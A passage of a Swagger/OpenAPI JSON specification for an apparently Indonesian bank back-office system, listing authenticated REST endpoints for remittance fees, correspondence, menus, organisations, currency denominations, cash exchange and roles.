Indonesia"],"summary":"find","operationId":"findUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/maker/delete":{"delete":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"delete","operationId":"deleteUsingDELETE_1","produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/maker/insert":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"insert","operationId":"insertUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/BiayaRemiseRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/maker/update":{"put":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"update","operationId":"updateUsingPUT","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/BiayaRemiseUpdateRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/search":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"search","operationId":"searchUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":false,"schema":{"$ref":"#/definitions/BiayaRemiseSearchRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/status/approve":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"statusApprove","operationId":"statusApproveUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/status/reject":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"statusReject","operationId":"statusRejectUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/biayaremise/status/search":{"post":{"tags":["Management Transaksi Biaya Remise Bank Indonesia"],"summary":"statusSearch","operationId":"statusSearchUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/home/content/add":{"post":{"tags":["Management Web Content Bisilk"],"summary":"Add data home content","operationId":"saveUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/KontenRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/home/content/delete":{"delete":{"tags":["Management Web Content Bisilk"],"summary":"Delete data home content","operationId":"deleteUsingDELETE_2","produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/home/content/findbyid":{"post":{"tags":["Management Web Content Bisilk"],"summary":"Get data home content by id","operationId":"findbyidUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/home/content/search":{"post":{"tags":["Management Web Content Bisilk"],"summary":"Retrive data home content by predicate and pagination","operationId":"searchUsingPOST_1","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/HomeKontenPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/home/content/update":{"put":{"tags":["Management Web Content Bisilk"],"summary":"Update data home content","operationId":"updateUsingPUT_1","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/KontenUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/delete":{"put":{"tags":["Management Data Korespondensi"],"summary":"delete","operationId":"deleteUsingPUT","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/download":{"post":{"tags":["Management Data Korespondensi"],"summary":"download","operationId":"downloadUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/download/korespondensibank":{"post":{"tags":["Management Data Korespondensi"],"summary":"downloadKorpondensiBank","operationId":"downloadKorpondensiBankUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/KorespondensiBankDownloadRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/find/korespondensibank":{"post":{"tags":["Management Data Korespondensi"],"summary":"findKorpondensiBank","operationId":"findKorpondensiBankUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/KorespondensiBankDownloadRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/search":{"post":{"tags":["Management Data Korespondensi"],"summary":"search","operationId":"searchUsingPOST_2","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"searchRequest","description":"searchRequest","required":false,"schema":{"$ref":"#/definitions/KorespondensiSearchRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/korespondensi/upload":{"post":{"tags":["Management Data Korespondensi"],"summary":"upload","operationId":"uploadUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/KorespondensiRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/menu/9999999":{"delete":{"tags":["Management Menu Bisilk"],"summary":"hapus data menu","operationId":"deletemenuUsingDELETE","produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/menu/create":{"post":{"tags":["Management Menu Bisilk"],"summary":"tambah data menu","operationId":"addmenuUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/MenuRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/menu/getmenubyid":{"post":{"tags":["Management Menu Bisilk"],"summary":"retrive data Menu berdasarkan id menu","operationId":"getmenubyidUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/menu/search":{"post":{"tags":["Management Menu Bisilk"],"summary":"retrive list menu berdasarkan predicate dan pagination","operationId":"getallmenubyfilterandpaginationUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/MenusPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/menu/update":{"put":{"tags":["Management Menu Bisilk"],"summary":"ubah data menu","operationId":"editmenuUsingPUT","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/MenuUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/org/create":{"post":{"tags":["Management Data Organisasi Bisilk"],"summary":"Menambah data Organisasi","operationId":"createUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/OrganizationRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/org/delete":{"delete":{"tags":["Management Data Organisasi Bisilk"],"summary":"Menghapus data Organisasi","operationId":"deleteUsingDELETE_3","produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/org/findbyid":{"post":{"tags":["Management Data Organisasi Bisilk"],"summary":"Retrive data Organisasi by id","operationId":"findbyidUsingPOST_1","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/org/search":{"post":{"tags":["Management Data Organisasi Bisilk"],"summary":"Reetrive data Organisasi by predicate and pagination","operationId":"searchUsingPOST_3","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/OrganizationPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/org/update":{"put":{"tags":["Management Data Organisasi Bisilk"],"summary":"Mengubah data Organisasi","operationId":"updateUsingPUT_2","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"update","description":"update","required":true,"schema":{"$ref":"#/definitions/OrgUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/parameter/getall":{"post":{"tags":["Management Data Parameter Bisilk"],"summary":"Retrive Data Parameter","operationId":"getallparameterUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/ParameterPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/parameter/update":{"post":{"tags":["Management Data Parameter Bisilk"],"summary":"Insert or Update Data Parameter","operationId":"updateparameterUsingPOST","consumes":["application/json"],"produces":["*/*"],"parameters":[{"in":"body","name":"model","description":"model","required":true,"schema":{"$ref":"#/definitions/ParameterModel"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/delete":{"put":{"tags":["Penatausahaan Pecahan"],"summary":"Menghapus data master pecahan","operationId":"deleteUsingPUT_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/load":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Load data master pecahan","operationId":"getallpecahanUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/PecahanPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/nominal/all":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Load data nominal","operationId":"getAllNominalUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/nominal/year":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Get data nominal by tahun","operationId":"getTahunByNominalUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PecahanIntegrationPenukaranKastip"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/save":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Menambah data master pecahan","operationId":"saveUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PecahanRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/search":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Load data master pecahan","operationId":"getallpecahanbypageUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/PecahanPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/searchById":{"post":{"tags":["Penatausahaan Pecahan"],"summary":"Mencari data master pecahan berdasarkan id","operationId":"getpecahanbyidUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/pecahan/update":{"put":{"tags":["Penatausahaan Pecahan"],"summary":"Mengubah data master pecahan","operationId":"updateUsingPUT_3","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PecahanRequestUpdate"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/approveorreject":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"approveOrReject","operationId":"approveOrRejectUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PenukaranKasTipApproverRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/delete":{"put":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"delete","operationId":"deleteUsingPUT_2","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/find":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"find","operationId":"findUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"idRequest","description":"idRequest","required":true,"schema":{"$ref":"#/definitions/IdRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/insert":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"insert","operationId":"insertUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PenukaranKasTipRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/macamemisi":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"macamEmisi","operationId":"macamEmisiUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/search":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"search","operationId":"searchUsingPOST_4","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":false,"schema":{"$ref":"#/definitions/PenukaranKasTipSearchRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/status/approve":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"statusApprove","operationId":"statusApproveUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/status/reject":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"statusReject","operationId":"statusRejectUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/status/search":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"statusSearch","operationId":"statusSearchUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/typeemisi":{"post":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"typeEmisi","operationId":"typeEmisiUsingPOST","consumes":["application/json"],"produces":["application/json"],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/penukarankastitipan/update":{"put":{"tags":["Managemen Data Penukaran Kas Titipan"],"summary":"update","operationId":"updateUsingPUT_4","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"request","description":"request","required":true,"schema":{"$ref":"#/definitions/PenukaranKasTipUpdateRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object","additionalProperties":{"type":"object"}}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/role/create":{"post":{"tags":["Management Role Bisilk"],"summary":"Menyimpan role pada database","operationId":"createUsingPOST_1","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"roleRequest","description":"roleRequest","required":true,"schema":{"$ref":"#/definitions/RoleRequest"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/role/delete":{"delete":{"tags":["Management Role Bisilk"],"summary":"menghapus role pada database","operationId":"deleteUsingDELETE_4","produces":["application/json"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"204":{"description":"No Content"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/role/getrolebyid":{"post":{"tags":["Management Role Bisilk"],"summary":"Retrieve role berdasarkan id role","operationId":"getrolebyidUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"id","description":"id","required":true,"schema":{"$ref":"#/definitions/RequestId"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not Found"}},"security":[{"X-Request-Id":["global"]},{"JWT":["global"]},{"X-Platform":["global"]}]}},"/role/search":{"post":{"tags":["Management Role Bisilk"],"summary":"Retrieve semua role pada database dengan predicate","operationId":"getallroleUsingPOST","consumes":["application/json"],"produces":["application/json"],"parameters":[{"in":"body","name":"page","description":"page","required":true,"schema":{"$ref":"#/definitions/RolesPage"}}],"responses":{"200":{"description":"OK","schema":{"type":"object"}},"201":{"description":"Created"},"401":{"description":"Unauthorized"},"403":{"description":"Forbidden"},"404":{"description":"Not 